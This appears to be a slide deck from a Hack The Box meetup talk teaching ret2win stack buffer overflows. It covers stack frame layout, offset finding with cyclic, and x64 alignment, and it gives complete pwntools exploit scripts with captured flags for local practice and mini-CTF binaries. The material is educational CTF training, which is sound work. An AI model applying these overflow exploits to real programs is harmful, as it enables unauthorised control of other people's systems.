HACK THE BOX MEETUP IIUM 2025

Intro to PWN: ret2win

Interactive, Diagram-Driven Guide to Stack Exploitation

Low-level binary exploitation demystified through live interactive memory models, animated stack corruption simulators, and real challenge walkthroughs.

Speaker & Writeup

Mohammad Danish Hakim (Jerit3787)

CS (Network & Security) • MCC Alumni • RE:UN1ON

Visual Roadmap

01. Memory Architecture & The Stack Frame
02. Live Interactive Buffer Overflow Simulator
03. Hands-On Practice (x86 & x64 ret2win)
04. Mini-CTF Challenges & 16-byte Alignment

From Source Code to Machine Instructions

How high-level C abstractions vanish into raw memory addresses

📄
C Source Code
Variables, arrays, gets()
➔
⚙️
GCC Compiler
Translates to Assembly
➔
📦
ELF Executable
x86 / x64 Machine Code
➔
🧠
CPU & Stack
Linear Memory Addresses

What the Programmer Imagines

void vulnerable() {
    char buffer[64];  // "Only 64 bytes fit here!"
    gets(buffer);
}

The programmer expects the variable buffer to exist as an isolated container that safely holds up to 64 characters.

What the CPU Actually Sees

sub rsp, 0x40         ; Move stack pointer down 64 bytes
call gets             ; Reads stdin until newline
ret                   ; Pops whatever is at RSP into RIP!

The CPU has no concept of bounds. It writes contiguous bytes into memory, easily overflowing into adjacent registers and return addresses!

Linux Process Memory Map

Click any segment to inspect its address boundaries, permissions, and exploit role

Stack (↓ grows down) 0x7fffffffffff
[ Unmapped Space ] ...
Heap (↑ grows up) 0x555555600000
BSS (Uninitialized Globals) 0x555555558000
Data (Initialized Globals) 0x555555557000
Text / Code (Instructions) 0x555555554000

The Stack

RW- (Read / Write)

Grows downward from high to low memory. Holds local variables (e.g. buffer[64]) and the critical Return Address (RIP/EIP) that dictates where the CPU jumps when a function finishes.

⚔️ Exploitation Target:

Target of Stack Buffer Overflows! Excessive input overflows past the buffer and overwrites the Return Address, granting total control of the CPU's instruction pointer.

Anatomy of a Stack Frame

Visualizing function boundaries and why overflow reaches the return address

The Opposing Directions

1. Stack Allocation Direction:
Grows DOWNWARDS (High Address ➔ Low Address). When vulnerable() is called, the Return Address is placed higher in memory than the local buffer.
2. Buffer Fill Direction:
Buffers are written UPWARDS (Low Address ➔ High Address). Writing beyond 64 bytes naturally climbs straight into Saved RBP and the Return Address!

Stack Frame Schematic

[High Address] Caller Stack Frame Parameters / Previous State
🎯 Return Address (RIP) 8 Bytes (Target of Attack!)
Saved Base Pointer (RBP) 8 Bytes (Caller Frame Anchor)
Local Buffer (char buffer[64])
▲ Memory writes grow upward toward RBP & RIP
64 Bytes
[Low Address - Top of Stack (RSP)]

The Buffer Overflow Mechanic

Step-by-step diagram of how memory clobbering occurs

Step 1: Normal State

Input <= 64B. Buffer holds data safely. RIP intact.

➔
Step 2: Buffer Full (64B)

Buffer is completely filled. Next byte overflows.

➔
Step 3: Clobber RBP (+8B)

72 bytes written. Saved RBP is corrupted.

➔
Step 4: Hijack RIP (+8B)

80 bytes written. Return Address replaced with win()!

🛡️ Normal Stack (Safe Input) UNTOUCHED
Return Address (RIP)
0x0000000000401290 (<main+80>)
Safe Return
Saved Base Pointer (RBP)
0x00007fffffffe860
Valid Frame
buffer[64]
"Hello\0" (5 Bytes) + 59 Free Bytes
Within Bounds
🎯 Exploited Stack (ret2win Hijack) PWNED!
Return Address (RIP)
0x00000000004011b6 (<win>)
🎯 Jumps to win()
Saved Base Pointer (RBP)
0x4141414141414141 ("AAAAAAAA")
Clobbered
buffer[64]
'A' * 64 (Completely Filled to Capacity)
Overflowed

Live Interactive Overflow Simulator

Drag the slider or click presets to watch memory cells corrupt in real-time

Payload Length: 32 Bytes
Local Buffer (0..63) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (32B filled) 64 Bytes
Saved RBP (64..71) 0x7fffffffe860 (Valid Caller RBP) 8 Bytes
Return Address (72..79) 0x0000000000401290 (<main+80>) 8 Bytes
🟢 Normal Execution: Function returns safely to caller. RIP = 0x401290

Calculating Offsets: cyclic & pwndbg

Never guess payload sizes — calculate exact byte distances mathematically

1. cyclic 100

Generate non-repeating 4B/8B De Bruijn sequence

➔
2. Run & Crash

GDB captures the faulting value in EIP / stack

➔
3. cyclic -l <val>

Instantly reveals exact offset distance

Interactive Pattern Decoder

Test the crash values from Danish's writeup:

Select a crash pattern above to test...

Terminal Commands

# In GDB / pwndbg:
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaa...

pwndbg> run
[SIGSEGV crash occurred]

pwndbg> cyclic -l <crash_value>
Found at offset [exact number]!

Hands-On Practice: x86 (32-bit)

Walkthrough from writeup: `handson/x86/challenge`

Visual Offset Breakdown (76 Bytes)

Return Address: win() 0x080491a6 (Target Address)
Saved EBP + EBX alignment 4B EBP + 4B EBX = 8 Bytes
char buffer[64] 64 Bytes

Total Offset Calculation: 64 + 4 + 4 = 76 bytes!

from pwn import *

elf = ELF('./challenge')
offset = 76
win_addr = elf.symbols['win']  # 0x080491a6

payload = b'A' * offset + pack(win_addr)

p = process('./challenge')
p.sendlineafter(b'input: ', payload)
p.interactive()
$ python3 solve.py
[+] Starting local process './challenge'
You entered: AAAAAAAAAAAAAAAAA...

🎉 Congratulations! You solved the x86 hands-on!
FLAG{x86_r3t2w1n_b4s1cs}

Hands-On Practice: x64 & The Stack Trap

Why jumping directly to win() crashes on 64-bit systems

The 16-Byte Stack Alignment Trap

The System V AMD64 ABI mandates that RSP must be a multiple of 16 (RSP % 16 == 0) before executing any call instruction. GLIBC uses SSE movaps instructions that instantly crash if unaligned!

Without ret gadget: RSP ends with 0x...8 ❌ CRASH (SIGSEGV)
With ret gadget: Pops 8B, RSP ends with 0x...0 ✅ 16-byte Aligned!
The Fix: Prepend a single ret instruction before the win() address!

Complete x64 Exploit (solve.py)

from pwn import *

elf = ELF('./challenge')
offset = 72  # 64B buffer + 8B Saved RBP

ret_gadget = ROP(elf).find_gadget(['ret'])[0]
win_addr = elf.symbols['win']

payload = b'A' * offset
payload += p64(ret_gadget)  # Fixes 16-byte alignment!
payload += p64(win_addr)

p = process('./challenge')
p.sendlineafter(b'input: ', payload)
p.interactive()
# Output: FLAG{x64_r3t2w1n_b4s1cs}

Comparison Matrix: x86 vs x64

Visual differences summarized directly from the writeup

Feature x86 (32-bit) x64 (64-bit)
Hands-on Offset 76 bytes (64B + 4B EBX + 4B EBP) 72 bytes (64B + 8B RBP)
Register in GDB EIP shows corrupted addr directly RSP top of stack holds corrupted ret addr
Pointer Size 4 bytes (p32()) 8 bytes (p64())
Calling Convention All arguments pushed to stack Registers: RDI, RSI, RDX, RCX, R8, R9
16-byte Stack Alignment Not required Strictly enforced (movaps)
Extra Gadget Needed No gadget needed Yes (ret gadget required)

Mini-CTF: x86 Binary

Walkthrough from writeup: `mini-ctf/x86` (`challenge_x86`)

Recon & Offset Math

Menu Prompt: Enter 1 ➔ Navigates to vulnerable function
Target Function: get_flag() at 0x08049216
Assembly Calculation: sub esp, 0x24 (36B buffer) + 4B EBX + 4B EBP = 44 Bytes

Exploit & Flag

from pwn import *

elf = ELF('./challenge_x86')
offset = 44
flag_addr = elf.symbols['get_flag']

payload = b'A' * offset + pack(flag_addr)

p = remote('127.0.0.1', 9001)  # or local process
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'name? ', payload)
p.interactive()
🚩 Flag: HTB{x86_buff3r_0v3rfl0w_m4st3r}

Mini-CTF: x64 Binary

Walkthrough from writeup: `mini-ctf/x64` (`challenge_x64`)

Recon & Gadget Extraction

Safe Menu Input: scanf("%d") only reads 4 bytes.
Offset via cyclic: Crash on faaaaaaa ➔ Offset = 40 Bytes.
ret Gadget Search: rop --grep "ret" ➔ 0x40101a

Exploit & Flag

from pwn import *

elf = ELF('./challenge_x64')
offset = 40
ret_gadget = 0x40101a
flag_addr = elf.symbols['get_flag']  # 0x401276

payload = b'A' * offset + pack(ret_gadget) + pack(flag_addr)

p = remote('127.0.0.1', 9002)
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'name? ', payload)
p.interactive()
🚩 Flag: HTB{x64_st4ck_sm4sh1ng_pr0}

Binary Protections: checksec

Interactive shield matrix of defensive mitigations

checksec Analysis

$ checksec --file=challenge_x64
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Because Canary and PIE are disabled, our ret2win exploits work with static addresses and without leaking memory!

Defense Matrix

🛡️ NX / DEP: Stack non-executable. Blocks shellcode, but permits ret2win & ROP.
🛡️ Canary: Secret cookie before Saved RBP. If modified, aborts execution before ret.
🛡️ PIE: Randomizes binary base address every run.
🛡️ ASLR: Randomizes stack, heap, and libc shared library locations.

Apple Silicon Setup: Colima & Ghidra

Split Architecture: Native macOS GUI + Lightweight Headless Linux VM

🍎
macOS Host
Native Ghidra GUI (Zero lag)
Terminal & Code Editors
⇄ Shared Filesystem (/Users/...) ⇄
🐧
Colima (QEMU x86_64)
Headless Linux (~2GB RAM)
GDB + pwndbg, gcc-multilib, Docker

Attendee Commands

# 1. Start Colima in x86_64 mode
colima start --arch x86_64 --vm-type qemu

# 2. Enter Linux shell
colima ssh

# 3. Inside Colima: run tools installer
cd /Users/<username>/.../htb-meetup-pwn
./scripts/install-tools.sh --skip-ghidra
SESSION COMPLETE

Happy Hacking! 🚩

Questions, Comments, & Discussion

Key Takeaway

PWN is about precision: finding memory bounds errors and turning CPU execution flow toward your desired objective.

Detailed Writeup

Full solutions and assembly analysis:
ctf.danplace.tech

Speaker & Slides

Danish Hakim (@jerit3787)
Domain: slides.danplace.tech

Slide Overview